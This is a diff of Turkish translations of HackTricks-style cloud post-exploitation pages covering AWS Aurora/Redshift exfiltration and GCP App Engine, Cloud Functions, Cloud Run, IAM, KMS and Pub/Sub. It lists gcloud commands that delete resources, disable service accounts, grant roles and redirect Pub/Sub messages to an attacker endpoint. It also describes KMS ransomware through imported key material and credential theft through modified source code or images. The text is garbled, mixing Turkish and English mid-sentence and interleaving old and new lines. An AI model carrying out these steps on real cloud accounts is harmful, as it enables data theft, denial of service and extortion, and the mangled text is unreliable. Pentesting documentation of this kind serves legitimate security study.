<summary>5) Redshift'te çoğaltılmış verileri maddeselleştirme ve sorgulama</summary>
|
||||
<summary>5) Redshift'te çoğaltılmış verileri kalıcı hale getirip sorgulayın</summary>
|
||||
```bash
|
||||
# Create a Redshift database from the inbound integration (use integration_id from SVV_INTEGRATION)
|
||||
aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \
|
||||
@@ -633,10 +662,10 @@ aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --d
|
||||
</details>
|
||||
|
||||
Testte gözlemlenen kanıtlar:
|
||||
- redshift describe-inbound-integrations: Integration arn:...377a462b-... için Status ACTIVE
|
||||
- SVV_INTEGRATION, DB oluşturulmasından önce integration_id 377a462b-c42c-4f08-937b-77fe75d98211 ve state PendingDbConnectState gösterdi.
|
||||
- CREATE DATABASE FROM INTEGRATION'dan sonra, tablolar listelendiğinde schema ztl ve table customers görüldü; ztl.customers'den yapılan sorgu 2 satır döndürdü (Alice, Bob).
|
||||
- redshift describe-inbound-integrations: Status ACTIVE for Integration arn:...377a462b-...
|
||||
- SVV_INTEGRATION showed integration_id 377a462b-c42c-4f08-937b-77fe75d98211 and state PendingDbConnectState prior to DB creation.
|
||||
- After CREATE DATABASE FROM INTEGRATION, listing tables revealed schema ztl and table customers; selecting from ztl.customers returned 2 rows (Alice, Bob).
|
||||
|
||||
Etkisi: Saldırgan (attacker) tarafından kontrol edilen Redshift Serverless'e seçilen Aurora PostgreSQL tablolarının sürekli, neredeyse gerçek zamanlı exfiltration'ı; veritabanı kimlik bilgileri, yedekler veya kaynak cluster'a ağ erişimi kullanılmadan.
|
||||
Etkisi: Saldırgan tarafından kontrol edilen Redshift Serverless'e seçilen Aurora PostgreSQL tablolarının veritabanı kimlik bilgileri, yedekler veya kaynak kümesine ağ erişimi kullanılmaksızın sürekli, neredeyse gerçek zamanlı exfiltration'ı.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## `App Engine`
|
||||
|
||||
For information about App Engine check:
|
||||
App Engine hakkında bilgi için bakın:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-app-engine-enum.md
|
||||
@@ -16,32 +16,33 @@ Bu izinlerle şunlar yapılabilir:
|
||||
|
||||
- Anahtar ekleme
|
||||
- Anahtarları listeleme
|
||||
- Anahtarı alma
|
||||
- Silme
|
||||
- Anahtar alma
|
||||
- Anahtar silme
|
||||
|
||||
> [!CAUTION]
|
||||
> Ancak, bu bilgilere **CLI'den erişmenin bir yolunu bulamadım**, yalnızca **web console** üzerinden erişilebiliyor; burada **Key type** ve **Key name**'i bilmeniz gerekiyor ya da **App Engine**'de çalışan uygulamadan.
|
||||
> Ancak, ben **couldn't find any way to access this information from the cli**, yalnızca **web console** üzerinden erişilebildiğini gördüm; burada **Key type** ve **Key name** bilmeniz gerekiyor, veya a**pp engine running app**'ten.
|
||||
>
|
||||
> Bu izinleri kullanmanın daha kolay yollarını biliyorsanız Pull Request gönderin!
|
||||
> Eğer bu izinleri kullanmanın daha kolay yollarını biliyorsanız Pull Request gönderin!
|
||||
|
||||
### `logging.views.access`
|
||||
|
||||
Bu izinle **App'in loglarını görebilirsiniz**:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Uygulama loglarını takip et</summary>
|
||||
Bu izinle **Uygulamanın loglarını görebilirsiniz**:
|
||||
```bash
|
||||
gcloud app logs tail -s <name>
|
||||
```
|
||||
</details>
|
||||
### Servis ve sürüm silme
|
||||
|
||||
### Kaynak Kodunu Oku
|
||||
`appengine.versions.delete`, `appengine.versions.list` ve `appengine.services.list` izinleri, bir App Engine uygulamasının belirli sürümlerini yönetmeye ve silmeye izin verir; bu, trafik bölünmüşse veya tek kararlı sürüm kaldırılırsa trafiği etkileyebilir. Öte yandan, `appengine.services.delete` ve `appengine.services.list` izinleri tüm servisleri listelemeye ve silmeye izin verir — bu işlem ilişkili sürümlerin kullanılabilirliğini ve tüm trafiği hemen aksatır.
|
||||
```bash
|
||||
gcloud app versions delete <VERSION_ID>
|
||||
gcloud app services delete <SERVICE_NAME>
|
||||
```
|
||||
### Kaynak Kodu Okuma
|
||||
|
||||
Tüm sürümlerin ve servislerin kaynak kodu **bucket'ta saklanır**; adı **`staging.<proj-id>.appspot.com`**. Eğer üzerinde yazma erişiminiz varsa kaynak kodunu okuyabilir ve **zayıflıklar** ile **hassas bilgileri** arayabilirsiniz.
|
||||
Tüm sürümlerin ve servislerin kaynak kodu, adı **`staging.<proj-id>.appspot.com`** olan **bucket'ta saklanır**. Eğer üzerinde yazma erişiminiz varsa, kaynak kodunu okuyabilir ve **vulnerabilities** ile **sensitive information** arayabilirsiniz.
|
||||
|
||||
### Kaynak Kodunu Değiştir
|
||||
### Kaynak Kodu Değiştirme
|
||||
|
||||
Kaynak kodunu, credentials gönderiliyorsa bunları çalmak veya bir defacement web attack gerçekleştirmek için değiştirin.
|
||||
Kaynak kodunu, eğer credentials gönderiliyorsa steal credentials yapmak veya defacement web attack gerçekleştirmek için değiştirin.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Cloud Functions
|
||||
|
||||
Cloud Functions hakkında bazı bilgileri şuradan bulabilirsiniz:
|
||||
Cloud Functions hakkında bazı bilgileri şurada bulabilirsiniz:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-cloud-functions-enum.md
|
||||
@@ -12,30 +12,31 @@ Cloud Functions hakkında bazı bilgileri şuradan bulabilirsiniz:
|
||||
|
||||
### `cloudfunctions.functions.sourceCodeGet`
|
||||
|
||||
Bu izin ile Cloud Function'ın kaynak kodunu indirebilmek için **imzalı bir URL** alabilirsiniz:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Kaynak kodu indirmek için imzalı URL alma</summary>
|
||||
Bu izin sayesinde Cloud Function'ın **signed URL aracılığıyla source code'unu indirebilirsiniz**:
|
||||
```bash
|
||||
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions/{function-name}:generateDownloadUrl \
|
||||
-H "Authorization: Bearer $(gcloud auth application-default print-access-token)" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{}'
|
||||
```
|
||||
</details>
|
||||
### `cloudfunctions.functions.delete`
|
||||
`cloudfunctions.functions.delete` izni, bir kimliğin bir Cloud Function'ı tamamen silmesine izin verir; buna kodu, yapılandırması, tetikleyicileri ve service accounts ile olan ilişkisi dahildir.
|
||||
```bash
|
||||
gcloud functions delete <FUNCTION_NAME> \
|
||||
--region=us-central1 \
|
||||
--quiet
|
||||
```
|
||||
### Bucket üzerinden Code Exfiltration
|
||||
The `storage.objects.get` and `storage.objects.list` permissions allow listing and reading objects inside a bucket, and in the case of Cloud Functions this is especially relevant because each function stores its source code in an automatically managed Google bucket, whose name follows the format `gcf-sources-<PROJECT_NUMBER>-<REGION>`
|
||||
|
||||
### Cloud Function İsteklerini Çal
|
||||
|
||||
Eğer Cloud Function kullanıcıların gönderdiği hassas bilgileri (ör. parolalar veya tokenlar) yönetiyorsa, yeterli ayrıcalıklara sahipseniz **modify the source code of the function and exfiltrate** bu bilgileri ele geçirebilirsiniz.
|
||||
### Cloud Function İsteklerini Çalma
|
||||
|
||||
Ayrıca, python üzerinde çalışan Cloud Functions web sunucusunu açığa çıkarmak için **flask** kullanır; eğer bir şekilde flaks sürecinde bir kod enjeksiyon zafiyeti bulursanız (ör. bir SSTI zafiyeti), HTTP isteklerini alacak olan **override the function handler**'ı, meşru handler'a iletmeden önce isteği **exfiltrate the request** eden bir **malicious function** ile değiştirmek mümkün olabilir.
|
||||
If the Cloud Function is managing sensitive information that users are sending (e.g. passwords or tokens), with enough privileges you could **modify the source code of the function and exfiltrate** this information.
|
||||
|
||||
Örneğin bu kod saldırıyı uygular:
|
||||
Moreover, Cloud Functions running in python use **flask** to expose the web server, if you somehow find a code injection vulnerability inside the flaks process (a SSTI vulnerability for example), it's possible to **override the function handler** that is going to receive the HTTP requests for a **malicious function** that can **exfiltrate the request** before passing it to the legit handler.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Steal Cloud Function requests (Python injection)</summary>
|
||||
For example this code implements the attack:
|
||||
```python
|
||||
import functions_framework
|
||||
|
||||
@@ -132,8 +133,4 @@ return "Injection completed!"
|
||||
except Exception as e:
|
||||
return str(e)
|
||||
```
|
||||
</details>
|
||||
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,20 +4,31 @@
|
||||
|
||||
## Cloud Run
|
||||
|
||||
Cloud Run hakkında daha fazla bilgi için kontrol edin:
|
||||
Cloud Run hakkında daha fazla bilgi için bakınız:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-cloud-run-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Görüntülere Erişim
|
||||
### CloudRun Job Silme
|
||||
`run.services.delete` ve `run.services.get` izinleri ile `run.jobs.delete` izni, bir kimliğin bir Cloud Run service veya job'u yapılandırması ve geçmişi dahil olmak üzere tamamen silmesine olanak tanır. Bir saldırganın elinde, bu uygulamalarda veya kritik iş akışlarında anlık kesintilere neden olabilir ve hizmet mantığına veya temel zamanlanmış görevlere bağımlı kullanıcılar ve sistemler için bir denial of service (DoS) durumuna yol açabilir.
|
||||
|
||||
Eğer konteyner görüntülerine erişiminiz varsa, kodu güvenlik açıkları ve sabitlenmiş hassas bilgiler için kontrol edin. Ayrıca, env değişkenlerinde hassas bilgiler için de kontrol edin.
|
||||
Bir job'ı silmek için aşağıdaki işlem gerçekleştirilebilir.
|
||||
```bash
|
||||
gcloud run jobs delete <JOB_NAME> --region=<REGION> --quiet
|
||||
```
|
||||
Bir servisi silmek için aşağıdaki işlem yapılabilir.
|
||||
```bash
|
||||
gcloud run services delete <SERVICE_NAME> --region=<REGION> --quiet
|
||||
```
|
||||
### Görüntülere erişim
|
||||
|
||||
Eğer görüntüler, hizmet Artifact Registry içindeki reposlarda saklanıyorsa ve kullanıcı reposlar üzerinde okuma erişimine sahipse, bu hizmetten görüntüyü de indirebilir.
|
||||
Eğer container images'e erişebiliyorsanız, kodu zafiyetler ve hardcoded hassas bilgiler açısından kontrol edin. Ayrıca env variables içindeki hassas bilgiler için de bakın.
|
||||
|
||||
### Görüntüyü Değiştir ve Yeniden Dağıt
|
||||
Eğer görüntüler Artifact Registry hizmeti içindeki reposlarda depolanmışsa ve kullanıcının bu reposlarda okuma erişimi varsa, kullanıcı imajı bu servisten indirebilir.
|
||||
|
||||
Bilgi çalmak için çalıştırma görüntüsünü değiştirin ve yeni sürümü yeniden dağıtın (aynı etiketlere sahip yeni bir docker konteyneri yüklemek, onun çalıştırılmasını sağlamaz). Örneğin, eğer bir giriş sayfası açıyorsa, kullanıcıların gönderdiği kimlik bilgilerini çalın.
|
||||
### İmajı değiştirin & yeniden dağıtın
|
||||
|
||||
Run image'i bilgi çalacak şekilde değiştirin ve yeni sürümü yeniden dağıtın (aynı tag'lere sahip yeni bir docker container'ı sadece yüklemek onu çalıştırmaz). Örneğin, eğer bir login page sunuluyorsa, kullanıcıların gönderdiği credentials'leri çalın.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,10 +1,10 @@
|
||||
# GCP - IAM Post Exploitation
|
||||
# GCP - IAM Sömürme Sonrası
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## IAM <a href="#service-account-impersonation" id="service-account-impersonation"></a>
|
||||
|
||||
IAM hakkında daha fazla bilgiyi şurada bulabilirsiniz:
|
||||
IAM hakkında daha fazla bilgiyi şuradan bulabilirsiniz:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-iam-and-org-policies-enum.md
|
||||
@@ -12,22 +12,40 @@ IAM hakkında daha fazla bilgiyi şurada bulabilirsiniz:
|
||||
|
||||
### Yönetim konsoluna erişim verme <a href="#granting-access-to-management-console" id="granting-access-to-management-console"></a>
|
||||
|
||||
[GCP management console](https://console.cloud.google.com) erişimi **service accounts değil, user accounts'a verilir**. Web arayüzüne giriş yapmak için kontrol ettiğiniz bir **Google account**a erişim verebilirsiniz. Bu, hedef organizasyonun üyesi olması gerekmeyen genel bir "**@gmail.com**" hesabı olabilir.
|
||||
[GCP management console](https://console.cloud.google.com) erişimi **kullanıcı hesaplarına sağlanır, service accounts'a değil**. Web arayüzüne giriş yapmak için kontrolünüzdeki bir Google hesabına erişim verebilirsiniz. Bu, genel bir "**@gmail.com**" hesabı olabilir; hedef organizasyonun bir üyesi olması gerekmez.
|
||||
|
||||
Bununla birlikte, genel bir "@gmail.com" hesabına **Owner** gibi bir primitive rolü **grant** etmek istiyorsanız, **web console'u kullanmanız** gerekir. `gcloud`, Editor'ın üzerindeki bir izni vermeye çalışırsanız hata verecektir.
|
||||
Bununla birlikte, generic "@gmail.com" hesabına **Owner** adlı ilkel rolü **vermek** için **web konsolunu kullanmanız** gerekir. `gcloud`, bu hesaba Editor'dan daha yüksek bir izin vermeye çalışırsanız hata verir.
|
||||
|
||||
Mevcut projenize bir kullanıcıya **Editor** primitive rolünü **grant** etmek için aşağıdaki komutu kullanabilirsiniz:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Kullanıcıya Editor rolü verme</summary>
|
||||
Aşağıdaki komutu kullanarak mevcut projenize bir kullanıcıya **Editor** adlı ilkel rolü verebilirsiniz:
|
||||
```bash
|
||||
gcloud projects add-iam-policy-binding [PROJECT] --member user:[EMAIL] --role roles/editor
|
||||
```
|
||||
</details>
|
||||
|
||||
Eğer burada başarılı olduysanız, **web arayüzüne erişmeyi** ve oradan keşfetmeyi deneyin.
|
||||
Burada başarılı olduysanız, **web arayüzüne erişmeyi** ve oradan keşfetmeyi deneyin.
|
||||
|
||||
Bu, **gcloud aracı kullanarak atayabileceğiniz en yüksek seviyedir**.
|
||||
|
||||
### IAM bileşenlerini silme `iam.*.delete`
|
||||
The `iam.*.delete` permissions (e.g., `iam.roles.delete`, `iam.serviceAccountApiKeyBindings.delete`, `iam.serviceAccountKeys.delete`, etc.) allow an identity to delete critical IAM components such as custom roles, API key bindings, service account keys, and the service accounts themselves. Bir saldırganın eline geçerse, bu meşru erişim mekanizmalarını kaldırarak denial of service'e yol açabilir.
|
||||
|
||||
Böyle bir saldırıyı gerçekleştirmek için, örneğin rolleri silmek için şunu kullanabilirsiniz:
|
||||
```bash
|
||||
gcloud iam roles delete <ROLE_ID> --project=<PROJECT_ID>
|
||||
```
|
||||
### `iam.serviceAccountKeys.disable` || `iam.serviceAccounts.disable`
|
||||
|
||||
`iam.serviceAccountKeys.disable` ve `iam.serviceAccounts.disable` izinleri, aktif service account anahtarlarını veya service account'ları devre dışı bırakmaya izin verir; bir saldırganın elinde bunlar operasyonları aksatmak, hizmet reddi (DoS) oluşturmak veya meşru kimlik bilgilerinin kullanılmasını engelleyerek olay müdahalesini zorlaştırmak için kullanılabilir.
|
||||
|
||||
Bir Service Account'u devre dışı bırakmak için şu komutu kullanabilirsiniz:
|
||||
```bash
|
||||
gcloud iam service-accounts disable <SA_EMAIL> --project=<PROJECT_ID>
|
||||
```
|
||||
Bir Service Account'ın anahtarlarını devre dışı bırakmak için aşağıdaki komutu kullanabilirsiniz:
|
||||
```bash
|
||||
gcloud iam service-accounts keys disable <KEY_ID> --iam-account=<SA_EMAIL>
|
||||
```
|
||||
### `iam.*.undelete`
|
||||
`iam.*.undelete` izinleri, API anahtar bağlamaları, özel roller veya hizmet hesapları gibi daha önce silinmiş öğeleri geri yüklemeye izin verir. Bir saldırganın elinde, bu durum savunma önlemlerini geri almak (kaldırılmış erişimi kurtarmak), kalıcılığı sürdürmek için silinmiş istismar vektörlerini yeniden oluşturmak veya düzeltme çalışmalarından kaçınmak için kullanılabilir; bu da olayın kontrol altına alınmasını zorlaştırır.
|
||||
```bash
|
||||
gcloud iam service-accounts undelete "${SA_ID}" --project="${PROJECT}"
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## KMS
|
||||
|
||||
KMS hakkında temel bilgileri şu adreste bulabilirsiniz:
|
||||
KMS ile ilgili temel bilgileri şurada bulun:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-kms-enum.md
|
||||
@@ -12,7 +12,7 @@ KMS hakkında temel bilgileri şu adreste bulabilirsiniz:
|
||||
|
||||
### `cloudkms.cryptoKeyVersions.destroy`
|
||||
|
||||
Bu izne sahip bir saldırgan KMS sürümünü yok edebilir. Bunu yapmak için önce anahtarı devre dışı bırakmalı ve ardından yok etmelisiniz:
|
||||
Bu izne sahip bir saldırgan bir KMS sürümünü yok edebilir. Bunu yapmak için önce anahtarı devre dışı bırakmanız, ardından yok etmeniz gerekir:
|
||||
|
||||
<details>
|
||||
|
||||
@@ -65,24 +65,24 @@ destroy_key_version(project_id, location_id, key_ring_id, key_id, key_version)
|
||||
|
||||
### KMS Ransomware
|
||||
|
||||
AWS'ta tamamen **bir KMS anahtarını çalmak** mümkündür; bunun için KMS resource policy'sini değiştirip yalnızca saldırganın hesabının anahtarı kullanmasına izin verilir. GCP'de bu tür resource policy'ler olmadığından bu mümkün değildir.
|
||||
AWS'te KMS resource policy'yi değiştirerek ve sadece attackers account'un anahtarı kullanmasına izin vererek tamamen **steal a KMS key** yapmak mümkündür. Bu resource policy'ler GCP'de bulunmadığından bu mümkün değildir.
|
||||
|
||||
Ancak, global bir KMS Ransomware gerçekleştirmek için başka bir yol vardır; bu şu adımları içerir:
|
||||
Ancak, global bir KMS Ransomware gerçekleştirmek için başka bir yol daha vardır; bu şu adımları içerir:
|
||||
|
||||
- Saldırgan tarafından içe aktarılan bir key material ile anahtarın yeni bir **sürümünü oluşturmak**
|
||||
- attacker tarafından içe aktarılan bir anahtar materyali ile anahtarın yeni bir **versiyonunu oluşturun**
|
||||
```bash
|
||||
gcloud kms import-jobs create [IMPORT_JOB] --location [LOCATION] --keyring [KEY_RING] --import-method [IMPORT_METHOD] --protection-level [PROTECTION_LEVEL] --target-key [KEY]
|
||||
```
|
||||
- Bunu **varsayılan sürüm** olarak ayarlayın (gelecekte şifrelenecek veriler için)
|
||||
- **Eski verileri yeniden şifreleyin** (önceki sürümle şifrelenmiş verileri yeni sürümle)
|
||||
- **KMS anahtarını silin**
|
||||
- Artık yalnızca orijinal anahtar materyaline sahip olan saldırgan şifrelenmiş verileri çözebilir
|
||||
- Bunu **varsayılan sürüm** olarak ayarla (gelecekte şifrelenecek veriler için)
|
||||
- **Önceki sürümle şifrelenmiş eski verileri yeniden şifrele** yeni sürümle.
|
||||
- **KMS anahtarını sil**
|
||||
- Artık yalnızca orijinal anahtar materyaline sahip saldırgan, şifrelenmiş veriyi çözebilir
|
||||
|
||||
#### İşte yeni bir sürüm içe aktarmak ve eski verileri devre dışı bırakmak/silmek için adımlar:
|
||||
#### Yeni bir sürümü içe aktarma ve eski verileri devre dışı bırakma/silme adımları:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Yeni anahtar sürümünü içe aktarın ve eski sürümü silin</summary>
|
||||
<summary>Yeni anahtar sürümünü içe aktar ve eski sürümü sil</summary>
|
||||
```bash
|
||||
# Encrypt something with the original key
|
||||
echo "This is a sample text to encrypt" > /tmp/my-plaintext-file.txt
|
||||
@@ -162,7 +162,7 @@ gcloud kms keys versions destroy \
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Simetrik anahtarla veriyi şifreleme (Python)</summary>
|
||||
<summary>Simetrik anahtarla veriyi şifrele (Python)</summary>
|
||||
```python
|
||||
from google.cloud import kms
|
||||
import base64
|
||||
@@ -243,7 +243,7 @@ print('Signature:', signature)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Asimetrik anahtarla imzayı doğrula (Python)</summary>
|
||||
<summary>Asimetrik anahtar kullanarak imzayı doğrula (Python)</summary>
|
||||
```python
|
||||
from google.cloud import kms
|
||||
import hashlib
|
||||
@@ -270,6 +270,32 @@ return verify_response.success
|
||||
verified = verify_asymmetric_signature(project_id, location_id, key_ring_id, key_id, key_version, message, signature)
|
||||
print('Verified:', verified)
|
||||
```
|
||||
### `cloudkms.cryptoKeyVersions.restore`
|
||||
`cloudkms.cryptoKeyVersions.restore` izni, bir kimliğin daha önce yok edilmesi planlanan veya Cloud KMS'te devre dışı bırakılmış bir anahtar sürümünü geri yüklemesine izin vererek onu aktif ve kullanılabilir bir duruma getirir.
|
||||
```bash
|
||||
gcloud kms keys versions restore <VERSION_ID> \
|
||||
--key=<KEY_NAME> \
|
||||
--keyring=<KEYRING_NAME> \
|
||||
--location=<LOCATION> \
|
||||
--project=<PROJECT_ID>
|
||||
```
|
||||
### `cloudkms.cryptoKeyVersions.update`
|
||||
`cloudkms.cryptoKeyVersions.update` izni, bir kimliğin Cloud KMS'deki belirli bir anahtar sürümünün özniteliklerini veya durumunu değiştirmesine izin verir; örneğin etkinleştirme veya devre dışı bırakma yapabilir.
|
||||
```bash
|
||||
# Disable key
|
||||
gcloud kms keys versions disable <VERSION_ID> \
|
||||
--key=<KEY_NAME> \
|
||||
--keyring=<KEYRING_NAME> \
|
||||
--location=<LOCATION> \
|
||||
--project=<PROJECT_ID>
|
||||
|
||||
# Enable key
|
||||
gcloud kms keys versions enable <VERSION_ID> \
|
||||
--key=<KEY_NAME> \
|
||||
--keyring=<KEYRING_NAME> \
|
||||
--location=<LOCATION> \
|
||||
--project=<PROJECT_ID>
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -12,7 +12,7 @@ Pub/Sub hakkında daha fazla bilgi için aşağıdaki sayfaya bakın:
|
||||
|
||||
### `pubsub.topics.publish`
|
||||
|
||||
Bir topic'e mesaj yayınlamak; **beklenmeyen veri göndermek**, beklenmeyen işlevleri tetiklemek veya güvenlik açıklarından yararlanmak için kullanışlıdır:
|
||||
Bir topic'e mesaj yayınlar; beklenmeyen verileri **göndermek** ve beklenmeyen işlevleri tetiklemek veya zafiyetleri suistimal etmek için kullanışlıdır:
|
||||
|
||||
<details>
|
||||
|
||||
@@ -25,11 +25,11 @@ gcloud pubsub topics publish <topic_name> --message "Hello!"
|
||||
|
||||
### `pubsub.topics.detachSubscription`
|
||||
|
||||
Bir subscription'ın mesaj almasını engellemek için kullanışlıdır; muhtemelen tespiti önlemek için.
|
||||
Bir subscription'ın mesaj almasını engellemek için kullanışlı; belki tespiti önlemek amacıyla.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Subscription'ı topic'ten ayır</summary>
|
||||
<summary>Konudan subscription'ı ayır</summary>
|
||||
```bash
|
||||
gcloud pubsub topics detach-subscription <FULL SUBSCRIPTION NAME>
|
||||
```
|
||||
@@ -37,12 +37,12 @@ gcloud pubsub topics detach-subscription <FULL SUBSCRIPTION NAME>
|
||||
|
||||
### `pubsub.topics.delete`
|
||||
|
||||
Bir subscription'ın mesaj almasını engellemek için kullanışlıdır, muhtemelen tespiti önlemek amacıyla.\
|
||||
Bir topic'e bağlı subscription'lar olsa bile topic'i silmek mümkündür.
|
||||
Bir aboneliğin mesaj almasını engellemek için kullanışlıdır, muhtemelen tespiti önlemek amacıyla.\
|
||||
Abonelikler bağlı olsa bile bir konuyu silmek mümkündür.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Topic sil</summary>
|
||||
<summary>Konuyu sil</summary>
|
||||
```bash
|
||||
gcloud pubsub topics delete <TOPIC NAME>
|
||||
```
|
||||
@@ -50,30 +50,56 @@ gcloud pubsub topics delete <TOPIC NAME>
|
||||
|
||||
### `pubsub.topics.update`
|
||||
|
||||
Bu izni, konuyu bozmak için `--clear-schema-settings`, `--message-retention-duration`, `--message-storage-policy-allowed-regions`, `--schema`, `--schema-project`, `--topic-encryption-key`... gibi ayarları güncellemek için kullanın.
|
||||
Bu izni, topic'in bazı ayarlarını değiştirerek onu bozmak için kullanın; örneğin `--clear-schema-settings`, `--message-retention-duration`, `--message-storage-policy-allowed-regions`, `--schema`, `--schema-project`, `--topic-encryption-key`...
|
||||
|
||||
### `pubsub.topics.setIamPolicy`
|
||||
|
||||
Kendinize önceki saldırılardan herhangi birini gerçekleştirmek için izin verin.
|
||||
Kendinize önceki saldırıları gerçekleştirme izni verin.
|
||||
```bash
|
||||
# Add Binding
|
||||
gcloud pubsub topics add-iam-policy-binding <TOPIC_NAME> \
|
||||
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
|
||||
--role="<ROLE_OR_CUSTOM_ROLE>" \
|
||||
--project="<PROJECT_ID>"
|
||||
|
||||
# Remove Binding
|
||||
gcloud pubsub topics remove-iam-policy-binding <TOPIC_NAME> \
|
||||
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
|
||||
--role="<ROLE_OR_CUSTOM_ROLE>" \
|
||||
--project="<PROJECT_ID>"
|
||||
|
||||
# Change Policy
|
||||
gcloud pubsub topics set-iam-policy <TOPIC_NAME> \
|
||||
<(echo '{
|
||||
"bindings": [
|
||||
{
|
||||
"role": "<ROLE_OR_CUSTOM_ROLE>",
|
||||
"members": [
|
||||
"serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com"
|
||||
]
|
||||
}
|
||||
]
|
||||
}') \
|
||||
--project=<PROJECT_ID>
|
||||
```
|
||||
### **`pubsub.subscriptions.create,`**`pubsub.topics.attachSubscription` , (`pubsub.subscriptions.consume`)
|
||||
|
||||
Bir web sunucusundaki tüm mesajları alın:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Mesajları almak için push subscription oluştur</summary>
|
||||
<summary>Mesajları almak için push subscription oluşturun</summary>
|
||||
```bash
|
||||
# Crete push subscription and recieve all the messages instantly in your web server
|
||||
gcloud pubsub subscriptions create <subscription name> --topic <topic name> --push-endpoint https://<URL to push to>
|
||||
```
|
||||
</details>
|
||||
|
||||
Bir subscription oluşturun ve bunu **pull messages** almak için kullanın:
|
||||
Bir abonelik oluşturun ve bunu **mesajları çekmek** için kullanın:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Pull subscription oluşturun ve mesajları alın</summary>
|
||||
<summary>Pull aboneliği oluşturun ve mesajları çekin</summary>
|
||||
```bash
|
||||
# This will retrive a non ACKed message (and won't ACK it)
|
||||
gcloud pubsub subscriptions create <subscription name> --topic <topic_name>
|
||||
@@ -86,7 +112,7 @@ gcloud pubsub subscriptions pull <FULL SUBSCRIPTION NAME>
|
||||
|
||||
### `pubsub.subscriptions.delete`
|
||||
|
||||
**Aboneliği silmek** günlük işleme sistemini veya benzeri bir şeyi bozmak için faydalı olabilir:
|
||||
**Aboneliği silmek**, örneğin bir günlük işleme sistemini ya da benzer bir hizmeti aksatmak için faydalı olabilir:
|
||||
|
||||
<details>
|
||||
|
||||
@@ -98,11 +124,11 @@ gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>
|
||||
|
||||
### `pubsub.subscriptions.update`
|
||||
|
||||
Bu izni, mesajların erişebileceğiniz bir yerde (URL, Big Query tablosu, Bucket) saklanmasını sağlamak için bazı ayarları güncellemek veya yalnızca aksatmak amacıyla kullanın.
|
||||
Bu izni, mesajların erişebileceğiniz bir yere (URL, Big Query table, Bucket) kaydedilmesini sağlayacak bir ayarı güncellemek veya sadece aksatmak için kullanın.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Abonelik güncelleme endpoint'i</summary>
|
||||
<summary>Abonelik uç noktasını güncelle</summary>
|
||||
```bash
|
||||
gcloud pubsub subscriptions update --push-endpoint <your URL> <subscription-name>
|
||||
```
|
||||
@@ -110,16 +136,16 @@ gcloud pubsub subscriptions update --push-endpoint <your URL> <subscription-name
|
||||
|
||||
### `pubsub.subscriptions.setIamPolicy`
|
||||
|
||||
Daha önce bahsedilen saldırılardan herhangi birini gerçekleştirmek için gereken izinleri kendine ver.
|
||||
Daha önce bahsedilen saldırıları gerçekleştirmek için gereken izinleri kendinize verin.
|
||||
|
||||
### `pubsub.schemas.attach`, `pubsub.topics.update`,(`pubsub.schemas.create`)
|
||||
|
||||
Mesajların şemayı karşılamaması ve dolayısıyla topic'in aksaması için bir şemayı topic'e ata.\
|
||||
Eğer hiç şema yoksa bir tane oluşturman gerekebilir.
|
||||
Bir schema'yı bir topic'e iliştirerek mesajların şemaya uymamasını sağlayın ve böylece topic'in aksamasına neden olun.\
|
||||
Eğer herhangi bir schema yoksa, bir tane oluşturmanız gerekebilir.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Şema dosyası oluştur ve topic'e ata</summary>
|
||||
<summary>Schema dosyası oluşturup topic'e ekle</summary>
|
||||
```json:schema.json
|
||||
{
|
||||
"namespace": "com.example",
|
||||
@@ -148,11 +174,11 @@ gcloud pubsub topics update projects/<project-name>/topics/<topic-id> \
|
||||
|
||||
### `pubsub.schemas.delete`
|
||||
|
||||
Bu, şemayı silerek şemaya uymayan mesajları gönderebileceğiniz izlenimini verebilir. Ancak şema silineceği için hiçbir mesaj aslında topic içine girmeyecektir. Bu yüzden bu **KULLANISIZ**:
|
||||
Bu, bir şemayı silmenin şemaya uymayan mesajları gönderebilmenizi sağlayacakmış gibi görünebilir. Ancak şema silineceği için hiçbir mesaj aslında topic'e girmeyecektir. Yani bu **İŞE YARAMAZ**:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Şemayı sil (yararsız)</summary>
|
||||
<summary>Şemayı sil (kullanışsız)</summary>
|
||||
```bash
|
||||
gcloud pubsub schemas delete <SCHEMA NAME>
|
||||
```
|
||||
